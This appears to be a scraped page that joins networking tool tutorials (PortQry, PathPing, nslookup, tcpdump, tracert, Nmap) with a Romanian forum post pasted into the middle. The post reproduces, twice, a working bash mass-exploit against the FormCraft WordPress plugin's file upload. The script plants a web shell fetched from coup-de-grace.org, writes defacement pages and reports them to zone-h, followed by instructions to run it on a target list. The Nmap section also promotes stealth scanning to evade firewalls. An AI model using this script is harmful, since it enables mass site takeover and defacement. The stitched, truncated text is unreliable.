are user number 2 of 50 allowed. 220-Local time is now 07:47. Server?1@ port: 21. 220-This is a private system - No anonymous login 220-IPv6 connections are also welcome on this server. 220 You will be discon?1@ TCP port 22 (ssh service): NOT LISTENING TCP port 23 (telnet service): FILTERED TCP port 24 (unknown service): FILTERED C:\PortQryV2> The following command queries the specified range of UDP ports (135-138). Once finished, command creates a log file (opened_ports.txt) that contains a log of opened/filtered ports that you jus queried: C:\PortQryV2> portqry -n 192.168.10.200 -p udp -r 135:138 -l opened_ports.txt Creating log file called opened_ports.txt Querying target system called: 192.168.10.200 Attempting to resolve IP address to a name... Failed to resolve IP address to name querying... UDP port 135 (epmap service): LISTENING or FILTERED UDP port 136 (unknown service): LISTENING or FILTERED UDP port 137 (netbios-ns service): LISTENING or FILTERED UDP port 138 (netbios-dgm service): LISTENING or FILTERED Log file opened_ports.txt successfully created in current directory C:\PortQryV2> Source

PathPing is probably the most useful tool for checking network connectivity , latency, data loss and reachability between different resources on IP networks. It combines features of Ping and Tracert but provides additional information that neither of those tools does. PathPing does this by sending multiple echo requests via ICMP and analyzes the results. In other words, it sends packets to each router on the way to it's final destination over a period of time and calculates results based on the number of packets returned from each hop. Since it shows the degree of packet loss at any given router or link, it can be used to easily discover which routers or links might be causing problems in network. Using PathPing to check network latency and data losses Pathping can provide you with informations about all the steps along the path to the network resource you test. To find out all the optins that can be used with PathPing, on Windows simply Open a command prompt (go to start -> run -> cmd -> pathping) and type "pathping": C:\>pathping Usage: pathping [-g host-list] [-h maximum_hops] [-i address] [-n] [-p period] [-q num_queries] [-w timeout] [-4] [-6] target_name Options: -g host-list Loose source route along host-list. -h maximum_hops Maximum number of hops to search for target. -i address Use the specified source address. -n Do not resolve addresses to hostnames. -p period Wait period milliseconds between pings. -q num_queries Number of queries per hop. -w timeout Wait timeout milliseconds for each reply. -4 Force using IPv4. -6 Force using IPv6. C:\> To use pathping, simply launch the "pathping" command from the source host to the destination and let pathping do its computation.: C:\>pathping -n google.com Tracing route to google.com [173.194.35.4] over a maximum of 30 hops: 0 192.168.10.102 1 192.168.10.1 2 85.114.33.42 3 85.114.32.149 4 80.239.160.205 5 80.91.250.66 6 80.91.246.140 7 80.91.254.253 8 80.239.193.138 9 72.14.238.44 10 72.14.239.60 11 72.14.232.79 12 209.85.241.65 13 173.194.35.4 Computing statistics for 325 seconds... Source to Here This Node/Link Hop RTT Lost/Sent = Pct Lost/Sent = Pct Address 0 192.168.10.102 0/ 100 = 0% | 1 3ms 0/ 100 = 0% 0/ 100 = 0% 192.168.10.1 0/ 100 = 0% | 2 34ms 0/ 100 = 0% 0/ 100 = 0% 85.114.33.42 0/ 100 = 0% | 3 33ms 0/ 100 = 0% 0/ 100 = 0% 85.114.32.149 0/ 100 = 0% | 4 41ms 0/ 100 = 0% 0/ 100 = 0% 80.239.160.205 0/ 100 = 0% | 5 49ms 0/ 100 = 0% 0/ 100 = 0% 80.91.250.66 0/ 100 = 0% | 6 67ms 0/ 100 = 0% 0/ 100 = 0% 80.91.246.140 0/ 100 = 0% | 7 63ms 0/ 100 = 0% 0/ 100 = 0% 80.91.254.253 0/ 100 = 0% | 8 63ms 0/ 100 = 0% 0/ 100 = 0% 80.239.193.138 0/ 100 = 0% | 9 --- 100/ 100 =100% 100/ 100 =100% 72.14.238.44 0/ 100 = 0% | 10 --- 100/ 100 =100% 100/ 100 =100% 72.14.239.60 0/ 100 = 0% | 11 --- 100/ 100 =100% 100/ 100 =100% 72.14.232.79 0/ 100 = 0% | 12 --- 100/ 100 =100% 100/ 100 =100% 209.85.241.65 0/ 100 = 0% | 13 65ms 0/ 100 = 0% 0/ 100 = 0% 173.194.35.4 Trace complete. (In the example above, "-n" option is used. It makes pathping not to resolve addresses to hostnames, which in the end runs pathping a little bit faster.) We can see that on 7th link to hop 80.91.254.253 and 13th link to hop 173.194.35.4 is a little latency. Althought if the phisical link is inside local network it should have latency smaller than 1ms (or in this case 3ms because our locar network connects to internet over wireless link), on a WAN links it is fine to get a little bit higher values. Hovever, if the milliseconds rate is at a higher number, like 500ms, this might indicate that there's a bandwidth issue which is a very common choke point. Another thing worth looking are the results for the Lost/Sent rates. If there's high drop rate, address in those columns show that those links may be overutilized. Also it might be that firewalls are blocking ICMP echo request (especially if "*" sign is showed) so for those nodes we can not get adequate results. Althought, more packets the pathping sends, more accurate statistic in result will be, waiting roughly 6 minutes for a report is a long period. To shorten the time needed for creating report, instead of sending 100 pings by default, with "-q 10? option we can omit sending 10 packets per hop, which in the and if a lot faster: C:\>pathping -n google.com -q 10 Tracing route to google.com [208.117.229.182] over a maximum of 30 hops: 0 192.168.10.102 1 192.168.10.1 2 85.114.33.42 3 85.114.32.149 4 149.6.30.29 5 154.54.56.6 6 * * * Computing statistics for 12 seconds... Source to Here This Node/Link Hop RTT Lost/Sent = Pct Lost/Sent = Pct Address 0 192.168.10.102 0/ 10 = 0% | 1 2ms 0/ 10 = 0% 0/ 10 = 0% 192.168.10.1 0/ 10 = 0% | 2 56ms 0/ 10 = 0% 0/ 10 = 0% 85.114.33.42 0/ 10 = 0% | 3 33ms 0/ 10 = 0% 0/ 10 = 0% 85.114.32.149 0/ 10 = 0% | 4 71ms 0/ 10 = 0% 0/ 10 = 0% 149.6.30.29 0/ 10 = 0% | 5 47ms 0/ 10 = 0% 0/ 10 = 0% 154.54.56.6 Trace complete. Source

@quadxenon daca nu esti in stare sa faci nici macar atat, scuze dar locul tau nu e aici. era o problema si anume Scan "/wp-content/plugins/formcraft/file-upload/js/jquery.fileupload.js" "support.xhrFormDataFileUpload" "Coupdegrace" trebuia inclusa. #!/bin/bash #Coded By Gantengers Crews ?2013-2014 read -p "List Target = " list if [ ! -f $list ];then echo " + List target tdk ada cuk.. " exit fi FCK=$RANDOM if [ ! -d tmp ];then mkdir tmp fi if [ ! -d log ];then mkdir log fi if [ ! -f cdg.php ];then cat > cdg.php <<_EOF <?php \$sh = file_get_contents("http://coup-de-grace.org/wso.txt");\$file="<title>Hacked by CoupDeGrace</title><center><div id=q>Gantengers Crew<br><font size=2>SultanHaikal - d3b~X - Brian Kamikaze - Coupdegrace - Mdn_newbie - Index Php <style>body{overflow:hidden;background-color:black}#q{font:40px impact;color:white;position:absolute;left:0;right:0;top:43%}"; \$path = \$_SERVER["DOCUMENT_ROOT"]; \$r=fopen(\$path."/lol.html", "w");fwrite(\$r,\$file);fclose(\$r);\$r=fopen(\$path."/images/lol.html", "w");fwrite(\$r,\$file);fclose(\$r);\$r=fopen(\$path."/wp-content/lol.html", "w");fwrite(\$r,\$file);fclose(\$r);\$r=fopen(\$path."/cdg.php", "w");fwrite(\$r,\$sh);fclose(\$r);\$r=fopen(\$path."/images/cdg.php", "w");fwrite(\$r,\$sh);fclose(\$r);\$r=fopen(\$path."/wp-content/cdg.php", "w");fwrite(\$r,\$sh);fclose(\$r);echo CoupDeGrace;unlink(__FILE__); ?> _EOF fi CekDFC(){ czone=${2} if [ -f tmp/${FCK}gck.txt ];then rm -f tmp/${FCK}gck.txt fi if [ -f tmp/${FCK}hasil.txt ];then rm -f tmp/${FCK}hasil.txt fi curl --silent --max-time 10 --connect-timeout 10 -A "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)" "${1}" -o tmp/${FCK}gck.txt if [ -f tmp/${FCK}gck.txt ];then cat tmp/${FCK}gck.txt | grep -i "Hacked by CoupDeGrace" >/dev/null;gck=$? if [ $gck -eq 0 ];then echo " + File found $1" if [ $czone -eq 1 ];then echo $1 >> hacked.txt echo ${1} > tmp/empes.txt ZoneH fi fi fi } CekDFC5(){ #echo " - check file $1" curl --silent --max-time 10 --connect-timeout 10 "${1}" -o tmp/${FCK}w00t cat tmp/${FCK}w00t | grep -i "CoupDeGrace" >/dev/null;cwot=$? if [ $cwot -eq 0 ];then echo " + Exploit Berhasil Dilakukan" CekDFC "http://${HOSTX}/lol.html" 1 CekDFC "http://${HOSTX}/wp-content/lol.html" 1 fi } ZoneH(){ if [ -f "tmp/empes.txt" ];then urlnya=$(cat tmp/empes.txt) curl --silent -d "defacer=CoupDeGrace&domain1=${urlnya}&hackmode=15&reason=1" \ --header "Host: www.zone-h.org" \ --header "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:16.0) Gecko/20100101 Firefox/16.0" \ --header "Accept-Language: en-US,en;q=0.5" \ --header "Connection: keep-alive" \ --header "Referer: http://zone-h.org/notify/single" \ --request POST "http://zone-h.org/notify/single" -o tmp/${FCK}result1.txt >/dev/null cat tmp/${FCK}result1.txt | sed ':a;N;$!ba;s/\n/ /g' | awk '{gsub("<li>","\n")}1' | awk '{gsub("</li>","\n")}1' | grep "name=\"domain" | awk '{gsub(">","?")}1' | awk '{gsub("<","?")}1' | cut -d '?' -f 5 > tmp/${FCK}Result.txt FILEDX="tmp/${FCK}Result.txt" RDOM1=$(sed -n '1p' < $FILEDX) echo $RDOM1 | grep -i "OK" >> /dev/null;warnai=$? if [ $warnai -eq 0 ];then echo "$urlnya" >> log/postOK.txt echo "Upload web $urlnya ke Zone-H: OK" else echo "$urlnya" >> log/postError.txt echo "=> Upload to Zone-H $urlnya : ERROR" echo "=> Shell berhasil di upload Mblo http://${HOSTX}/wp-content/cdg.php?ina" fi echo "$urlnya" >> log/defaced.txt fi continue } Coupdegrace(){ curl --silent --max-time 10 --connect-timeout 10 -o tmp/${FCK}resp.txt \ -A "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-LI; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 (.NET CLR 3.5.30729)" \ -F "files[]=@cdg.php" \ --request POST "http://${HOSTX}/wp-content/plugins/formcraft/file-upload/server/php/index.php" CekDFC5 "http://${HOSTX}/wp-content/plugins/formcraft/file-upload/server/php/files/cdg.php" } Scan(){ curl --silent --max-time 10 --connect-timeout 10 -A "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)" "http://${HOSTX}${XDIR}${1}" -o tmp/${FCK}cvuln if [ -f tmp/${FCK}cvuln ];then cat tmp/${FCK}cvuln | grep "$2" >/dev/null;csexy=$? if [ $csexy -eq 0 ];then echo " + Found ${HOSTX}" $3 else echo " - Not found ${HOSTX}" fi else echo " - RTO" fi rm -f tmp/${FCK}* } for HOST in `cat $list` do HOSTX=$(echo $HOST | awk '{gsub("http://","")}1') Scan "/wp-content/plugins/formcraft/file-upload/js/jquery.fileupload.js" "support.xhrFormDataFileUpload" "Coupdegrace" cat despre testat acesta nu l-am testat fiindca e luat de pe un site de incredere. Pe viitor te-as ruga sa nu mai faci offtopic la posturile mele...

Credit's to: CoupDeGrace #!/bin/bash #Coded By Gantengers Crews ?2013-2014 read -p "List Target = " list if [ ! -f $list ];then echo " + List target tdk ada cuk.. " exit fi FCK=$RANDOM if [ ! -d tmp ];then mkdir tmp fi if [ ! -d log ];then mkdir log fi if [ ! -f cdg.php ];then cat > cdg.php <<_EOF <?php \$sh = file_get_contents("http://coup-de-grace.org/wso.txt");\$file="<title>Hacked by CoupDeGrace</title><center><div id=q>Gantengers Crew<br><font size=2>SultanHaikal - d3b~X - Brian Kamikaze - Coupdegrace - Mdn_newbie - Index Php <style>body{overflow:hidden;background-color:black}#q{font:40px impact;color:white;position:absolute;left:0;right:0;top:43%}"; \$path = \$_SERVER["DOCUMENT_ROOT"]; \$r=fopen(\$path."/lol.html", "w");fwrite(\$r,\$file);fclose(\$r);\$r=fopen(\$path."/images/lol.html", "w");fwrite(\$r,\$file);fclose(\$r);\$r=fopen(\$path."/wp-content/lol.html", "w");fwrite(\$r,\$file);fclose(\$r);\$r=fopen(\$path."/cdg.php", "w");fwrite(\$r,\$sh);fclose(\$r);\$r=fopen(\$path."/images/cdg.php", "w");fwrite(\$r,\$sh);fclose(\$r);\$r=fopen(\$path."/wp-content/cdg.php", "w");fwrite(\$r,\$sh);fclose(\$r);echo CoupDeGrace;unlink(__FILE__); ?> _EOF fi CekDFC(){ czone=${2} if [ -f tmp/${FCK}gck.txt ];then rm -f tmp/${FCK}gck.txt fi if [ -f tmp/${FCK}hasil.txt ];then rm -f tmp/${FCK}hasil.txt fi curl --silent --max-time 10 --connect-timeout 10 -A "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)" "${1}" -o tmp/${FCK}gck.txt if [ -f tmp/${FCK}gck.txt ];then cat tmp/${FCK}gck.txt | grep -i "Hacked by CoupDeGrace" >/dev/null;gck=$? if [ $gck -eq 0 ];then echo " + File found $1" if [ $czone -eq 1 ];then echo $1 >> hacked.txt echo ${1} > tmp/empes.txt ZoneH fi fi fi } CekDFC5(){ #echo " - check file $1" curl --silent --max-time 10 --connect-timeout 10 "${1}" -o tmp/${FCK}w00t cat tmp/${FCK}w00t | grep -i "CoupDeGrace" >/dev/null;cwot=$? if [ $cwot -eq 0 ];then echo " + Exploit Berhasil Dilakukan" CekDFC "http://${HOSTX}/lol.html" 1 CekDFC "http://${HOSTX}/wp-content/lol.html" 1 fi } ZoneH(){ if [ -f "tmp/empes.txt" ];then urlnya=$(cat tmp/empes.txt) curl --silent -d "defacer=CoupDeGrace&domain1=${urlnya}&hackmode=15&reason=1" \ --header "Host: www.zone-h.org" \ --header "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:16.0) Gecko/20100101 Firefox/16.0" \ --header "Accept-Language: en-US,en;q=0.5" \ --header "Connection: keep-alive" \ --header "Referer: http://zone-h.org/notify/single" \ --request POST "http://zone-h.org/notify/single" -o tmp/${FCK}result1.txt >/dev/null cat tmp/${FCK}result1.txt | sed ':a;N;$!ba;s/\n/ /g' | awk '{gsub("<li>","\n")}1' | awk '{gsub("</li>","\n")}1' | grep "name=\"domain" | awk '{gsub(">","?")}1' | awk '{gsub("<","?")}1' | cut -d '?' -f 5 > tmp/${FCK}Result.txt FILEDX="tmp/${FCK}Result.txt" RDOM1=$(sed -n '1p' < $FILEDX) echo $RDOM1 | grep -i "OK" >> /dev/null;warnai=$? if [ $warnai -eq 0 ];then echo "$urlnya" >> log/postOK.txt echo "Upload web $urlnya ke Zone-H: OK" else echo "$urlnya" >> log/postError.txt echo "=> Upload to Zone-H $urlnya : ERROR" echo "=> Shell berhasil di upload Mblo http://${HOSTX}/wp-content/cdg.php?ina" fi echo "$urlnya" >> log/defaced.txt fi continue } Coupdegrace(){ curl --silent --max-time 10 --connect-timeout 10 -o tmp/${FCK}resp.txt \ -A "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-LI; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 (.NET CLR 3.5.30729)" \ -F "files[]=@cdg.php" \ --request POST "http://${HOSTX}/wp-content/plugins/formcraft/file-upload/server/php/index.php" CekDFC5 "http://${HOSTX}/wp-content/plugins/formcraft/file-upload/server/php/files/cdg.php" } Scan(){ curl --silent --max-time 10 --connect-timeout 10 -A "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)" "http://${HOSTX}${XDIR}${1}" -o tmp/${FCK}cvuln if [ -f tmp/${FCK}cvuln ];then cat tmp/${FCK}cvuln | grep "$2" >/dev/null;csexy=$? if [ $csexy -eq 0 ];then echo " + Found ${HOSTX}" $3 else echo " - Not found ${HOSTX}" fi else echo " - RTO" fi rm -f tmp/${FCK}* } for HOST in `cat $list` do HOSTX=$(echo $HOST | awk '{gsub("http://","")}1') Scan "/wp-content/plugins/formcraft/file-upload/js/jquery.fileupload.js" "support.xhrFormDataFileUpload" "Coupdegrace" save the script with .sh format run the command bash namafile.sh and enter your target list

Nslookup is a great utility specially designed for troubleshooting Domain Name System (DNS) servers and finding DNS related problems. The name means "name server lookup" - nslookup, but tool itself can be used for manual name resolution querying against DNS servers, getting information about the DNS configuration, getting DNS records and IP addresses of a particular netowrk resource, mail servers of domain, name servers (NS) and general DNS server diagnosis. It's available on most of todays modern operating systems including Windows and Linux/Unix like, and can be easily accessed from command prompt by simple entering "nslookup" command. Basic syntax and usage To access nslookup on Windows, open command promt by going to Start > run and enter "cmd". Once in cmd, simply enter nslookup which will start the tool and bring You in 'interactive' mode : and provide You with information of name and IP address of the DNS server it is using: C:\>nslookup Default Server: google-public-dns-a.google.com Address: 8.8.8.8 > quit C:\> To perform a DNS lookup, You can simply enter 'nslookup' folowing the domain you would like to query: C:\>nslookup ittutorials.org Server: google-public-dns-a.google.com Address: 8.8.8.8 Non-authoritative answer: Name: ittutorials.org Address: 64.37.52.52 C:\> (In the example above, for our query we got the IP address of a server which is hoting the site, but as it can be seen the answer is Non-authoritative. This is because Nslookup assumes that you are querying your internal domain from your local private network. However, nslookup in this case queries an external domain for which our chosen DSN server google-public-dns-a.google.com is not authoritative.) Finding authoritative server To find authoritative name serve for specific external domain, first we have to enter interactive mode. Once in nslookup, we have to setup SOA query type "set type=SOA" which will basicly ask our DNS server who is responsible for domain we're looking for. SOA or Start of Authority record tells us exactly which DNS name server is responsible for specific zone or domain: C:\> nslookup Default Server: google-public-dns-a.google.com Address: 8.8.8.8 > set type=SOA > > ittutorials.org Server: google-public-dns-a.google.com Address: 8.8.8.8 Non-authoritative answer: ittutorials.org primary name server = 1.nsjet.com responsible mail addr = colo.minmaxgroup.com serial = 2012110500 refresh = 86400 (1 day) retry = 7200 (2 hours) expire = 3600000 (41 days 16 hours) default TTL = 86400 (1 day) > > server 1.nsjet.com Default Server: 1.nsjet.com Address: 198.136.54.12 > ittutorials.org Server: 1.nsjet.com Address: 198.136.54.12 ittutorials.org primary name server = 1.nsjet.com responsible mail addr = colo.minmaxgroup.com serial = 2012110500 refresh = 86400 (1 day) retry = 7200 (2 hours) expire = 3600000 (41 days 16 hours) default TTL = 86400 (1 day) > Once SOA query type is set, we can ask for a domain simply by entering it's FQDN (Fully qualified domain name) - ittutorials.org for example. The field "primary name server" tells us authoritative DNS server of domain we just queried. Querying authoritative server One we got the name of the authoritative server, to query it instead of non-authoritative one, we can simply enter "server" after which folow the FQDN of a server: > server 1.nsjet.com Default Server: 1.nsjet.com Address: 198.136.54.12 > > Now querying authoritative server for a domin, gives us an authoritative answer: > ittutorials.org Server: 1.nsjet.com Address: 198.136.54.12 ittutorials.org nameserver = 1.nsjet.com ittutorials.org nameserver = 2.nsjet.com 1.nsjet.com internet address = 198.136.54.12 > > We can also query many diferent types, depending on what kind of DNS zone records we want to get. For example to find out which email server is responsible for mail exchange in a domain, we can setup an query MX (mail exchanger) record: > set type=mx > ittutorials.org Server: 1.nsjet.com Address: 198.136.54.12 ittutorials.org MX preference = 0, mail exchanger = ittutorials.org ittutorials.org internet address = 64.37.52.52 > In the example above, the MX record for ittutorials.org points to ittutorials.org 64.37.52.52, which is in this case the address of both, web an email server for ittutorials.org. Source

If one truly wants to discover how specific network application works, want to know where and what kind of data it sends, or where the data is coming from, than "sniffing" of netwroking packets is absolute necessity. It's a mandatory method used by large number of information security professionals and IT enthusiasts. One such network "sniffing" and analysis tool is Tcpdump. It is a simple yet very useful command-line utility that can be used in learning process and for better understanding of TCP/IP protocol suite. It is free software originaly distributed on unix-like operating systems, but also other version or similar GUI programs are distributed for windows. One such also very popular GUI netwrok analyzer tool is Wireshark. On some Unix-like operating systems, to be able to use all features of tcpdump, a user must have superuser privileges. Sniffing of network traffic To get the list of interfaces that are available for tcpdump capture we can use this command: linux# tcpdump -D 1.eth0 2.any (Pseudo-device that captures on all interfaces) 3.lo Once we know interfaces, capturing traffic on specific one is easy: linux# tcpdump -i eth0 ... 17:17:24.672194 IP 192.168.10.102.50676 > 192.168.10.200.ssh: Flags [P.], seq 545:597, ack 92552, win 4030, length 52 17:17:24.672325 IP 192.168.10.200.ssh > 192.168.10.102.50676: Flags [P.], seq 92552:92940, ack 597, win 403, length 388 ^C 640 packets captured 640 packets received by filter 0 packets dropped by kernel ( If we wanted to get more informations from tcpdump, we could use -vv "verbos" option.) To sniff traffic from or to specific host we can use host option: linux# tcpdump -n host 192.168.10.1 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 17:25:19.438850 ARP, Request who-has 192.168.10.100 tell 192.168.10.1, length 46 17:25:20.438912 ARP, Request who-has 192.168.10.100 tell 192.168.10.1, length 46 ^C 2 packets captured 2 packets received by filter 0 packets dropped by kernel ( We can also define FQDN name instead of IP address. In that case we wolud leave out -n option.) To sniff all but trafic from or to specific host we can use not syntax: linux# tcpdump -n host not 192.168.10.1 ... 17:34:00.381012 IP 192.168.10.200.22 > 192.168.10.102.50676: Flags [P.], seq 64604:64880, ack 409, win 620, length 276 17:34:00.382733 IP 192.168.10.102.50676 > 192.168.10.200.22: Flags [P.], seq 409:461, ack 64880, win 4311, length 52 17:34:00.382829 IP 192.168.10.200.22 > 192.168.10.102.50676: Flags [P.], seq 64880:65044, ack 461, win 620, length 164 ^C 448 packets captured 449 packets received by filter 0 packets dropped by kernel To sniff trafic from specific source to specific destination we can use src and dst options. We can even define protocol or port which we want to listen. For example to listen ssh: linux# tcpdump src 192.168.10.102 and dst 192.168.10.200 and port ssh tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 17:47:41.598663 IP 192.168.10.102.50676 > 192.168.10.200.ssh: Flags [.], ack 1104967642, win 4071, length 0 17:47:41.906519 IP 192.168.10.102.50676 > 192.168.10.200.ssh: Flags [.], ack 149, win 4034, length 0 ... ^C 11 packets captured 12 packets received by filter 0 packets dropped by kernel ( Since ssh traffic is encrypted ther is nothing much to see, but if we for example have listened to ftp traffic we could easily get users login data with password.) We can even send the captured data in a file that can be later used by other network analyzers to analyze the data: linux# tcpdump -s0 -i eth0 dst host 192.168.10.102 -w /dump.pcap tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes ^C42 packets captured 42 packets received by filter 0 packets dropped by kernel ( This way we can save the captured data in a ".pcap" file that can later be analysed by the GUI network analyzers as Wireshark.) To read data from the previously captured file we can use -r option: linux# tcpdump -r /dump.pcap reading from file /dump.pcap, link-type EN10MB (Ethernet) 18:19:40.129134 IP 192.168.10.200.ssh > 192.168.10.102.50676: Flags [P.], seq 1104998218:1104998350, ack 3215534015, win 1009, length 132 18:19:42.093016 IP 192.168.10.200.ssh > 192.168.10.102.50676: Flags [P.], seq 132:184, ack 53, win 1009, length 52 18:19:43.077015 IP 192.168.10.200.ssh > 192.168.10.102.50676: Flags [P.], seq 184:236, ack 105, win 1009, length 52 18:19:44.397016 IP 192.168.10.200.ssh > 192.168.10.102.50676: Flags [P.], seq 236:288, ack 157, win 1009, length 52 18:19:44.885002 IP 192.168.10.200.ssh > 192.168.10.102.50676: Flags [P.], seq 288:340, ack 209, win 1009, length 52 ... Source

Tracert is a Windows based TCP/IP utility that allows you to determine the route that packets take while traversing through a network to certain destination. It can help You to test intermediate hops and determine possible problems on your network. The same tool can be also found on Linux/Unix like operating systems with slightly changed options - tool is called Traceroute. It works in a way that increases TTL value "time to live" of each sent packet. When a packet passes through a hop, the hop decrements the TTL value by 1 and forwards the packet to the next hop, so when a packet with a TTL of 0 reaches the next hop, the hop discards the packet with an ICMP "time exceeded" message. By finding out packet hops on the way to it's destination, Tracert can easily help you find routing problems in your network. Using Tracert to determine route of packets To any given network destination, there's great possibility that theres more than one route or path for packets to travel to it's destination. After all, this is how internet functions. To determined which route or path, or over which hosts and hops packets are passing through, we can use Tracert (meaning that we're tracing the route). On Windows, we'll use tracert from command line, going to Start > run > and enter "cmd". We'll trace route from our host 192.168.10.101 to google.com and see over which hops packets are traversing: C:\Users\John>tracert google.com Tracing route to google.com [209.85.148.101] over a maximum of 30 hops: 1 2 ms 2 ms 2 ms 192.168.10.1 2 36 ms 30 ms 30 ms 85.114.33.42 3 32 ms 29 ms 30 ms 85.114.32.149 4 35 ms 35 ms 33 ms te1-3.ccr01.zag01.atlas.cogentco.com [149.6.30.29] 5 43 ms 38 ms 41 ms te1-8.ccr01.vie01.atlas.cogentco.com [130.117.48.77] 6 49 ms 44 ms 44 ms te0-1-0-6.ccr22.muc01.atlas.cogentco.com [130.117.1.105] 7 51 ms 50 ms 49 ms te0-3-0-2.mpd22.fra03.atlas.cogentco.com [130.117.50.237] 8 254 ms 266 ms 260 ms aurora-tel-ltd.demarc.cogentco.com [149.6.140.58] 9 53 ms 54 ms 52 ms 209.85.241.110 10 60 ms 55 ms 66 ms 209.85.254.41 11 51 ms 54 ms 55 ms fra07s07-in-f101.1e100.net [209.85.148.101] Trace complete. From the example, we can see exact point where packets are traversing. Also we see that to reach google.com from our network, traffic has to pass over 11 hops (routers). Result also gives us exact route to our destination. Hovever, Tracert tells us nothing about network latency. To provide network latency and packet loss for each hop (router) and link on the path, We can use tool like Pathping. Source

Nmap, also (Network Mapper), is a free and open source port and security scanner for network security professionals, and apparently also for world’s IT hijackers. Although there are similar tools like portqry for scanning ports, they are not as much capable as Nmap. It is used to discover hosts, services and network resources on a computer networks. Some of the features that Nmap has include host discovery, port scanning, detection of services and applications running on target system, OS and hardware detection of remote hosts. All in all, it's very useful tool that can detect any opened, closed or filtered (firewalled) ports on remote system and determine which services may be running, thus creating network "map" that can help in understanding or enhancing networking security. Because Nmap is a very powerfull tool that can be misused, informations presented in this article are provided only to assist computer users in scanning their own networks, or networks for which they have been given permission to scan, in order of determining and enhancing network security, or simply for the learning process and better understanding of computer networks... Usage - scanning options Since most of todays modern firewalls and (IDS) Intrusion detection systems consider scaning or sniffing as a prelude to possible atack, scanning of remote systems for opened ports or running services is regarded as an unauthorized act. Therfore, such attemps from scanning tools might be blocked. In such situations, Nmap comes realy handy, because it can listen responses from victim's system and terminate connection even before it is established (SYN stealth scan). In this way, by properly configured nmap query, it is possible to successfuly sniff remote system and get useful informations. Nmap has a lot of scaning options that can be used with s option switch. (-sT -> TCP ports scan , -sU -> UDP ports scan, -sS -> SYN or Stealth scan, -sV -> Version Detection, etc...) Example of scanning internal network 192.168.10.0 for alive hosts: linux-box# nmap -sP 192.168.100.0/24 Starting Nmap 5.00 ( http://nmap.org ) at 2012-11-28 13:51 CET Host 192.168.100.10 is up (0.0013s latency). MAC Address: C0:D0:44:E6:1E:04 (Unknown) Host 192.168.100.102 is up (0.0091s latency). MAC Address: 00:4F:6A:08:4F:44 (Unknown) Host 192.168.100.200 is up. Nmap done: 256 IP addresses (3 hosts up) scanned in 3.21 seconds (As a result we can se IP and MAC addresses of alive hosts in scanned network.) Using stealth scan, "-sS" and "-A" options we can avoid that firewall detects our scan and see that 192.168.100.10 is actualy a gateway, an ADSL broadband router: linux-box# nmap -sS -A 192.168.100.10 Starting Nmap 5.00 ( http://nmap.org ) at 2012-11-28 14:00 CET Stats: 0:00:43 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 75.00% done; ETC: 14:01 (0:00:14 remaining) Interesting ports on 192.168.10.1: Not shown: 996 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp US Robotics ADSL router firmware update ftpd 22/tcp open ssh Dropbear sshd 0.46 (protocol 2.0) |_ ssh-hostkey: 1040 9a:fb:c1:06:5c:05:70:bc:a5:54:d7:b7:c2:3a:b6:3f (RSA) 23/tcp open telnet? 80/tcp open http Comtrend ADSL http config (micro_httpd) |_ html-title: 401 Unauthorized | http-auth: HTTP Service requires authentication |_ Auth type: Basic, realm = DSL Router 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi : SF:ty\.txt%2ebak\x20HTTP/1\.0\r\n\r\nPassword:\x20"); MAC Address: C0:D0:44:E6:1E:04 (Unknown) Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.9 - 2.6.19 Network Distance: 1 hop Service Info: Device: broadband router OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 117.51 seconds (By using "-A" option we enable OS fingerprinting and version detection.) Example of Operating system detection (fingerprinting) of scanned system: linux-box# nmap -O 192.168.100.202 Starting Nmap 5.00 ( http://nmap.org ) at 2012-11-28 14:35 CET Interesting ports on 192.168.100.202: Not shown: 993 filtered ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 902/tcp open iss-realsecure 912/tcp open unknown 5357/tcp open unknown 8443/tcp open https-alt MAC Address: 00:4F:6A:08:4F:44 (Unknown) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Microsoft Windows Vista|2008 OS details: Microsoft Windows Vista or Windows Server 2008 SP1, Microsoft Windows Vista SP0 or SP1 or Server 2008 SP1 Network Distance: 1 hop OS detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.91 seconds Operating system detection (fingerprinting) on local internal network 192.168.100.0 255.255.255.0: linux-box# nmap -O -T insane 192.168.100.0/24 Starting Nmap 5.00 ( http://nmap.org ) at 2012-11-28 15:03 CET Interesting ports on 192.168.100.1: Not shown: 996 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 80/tcp open http MAC Address: C0:D0:44:E6:1E:04 (Unknown) Device type: general purpose|bridge|WAP|media device|PBX|webcam|phone Running (JUST GUESSING) : Linux 2.6.X|2.4.X (99%), Perle embedded (97%), FON Linux 2.6.X (96%), Toshiba embedded (94%), AXIS Linux 2.6.X (94%), RGB Spectrum embedded (93%), HTC Linux 2.6.X (93%) Aggressive OS guesses: Linux 2.6.22 (99%), Linux 2.6.9 - 2.6.19 (99%), Linux 2.6.13 - 2.6.27 (97%), Linux 2.6.9 - 2.6.28 (97%), Perle IOLAN DS1 Ethernet-to-serial bridge (97%), DD-WRT v24 (Linux 2.6.22) (96%), Linux 2.6.22 - 2.6.23 (96%), Linux 2.6.23 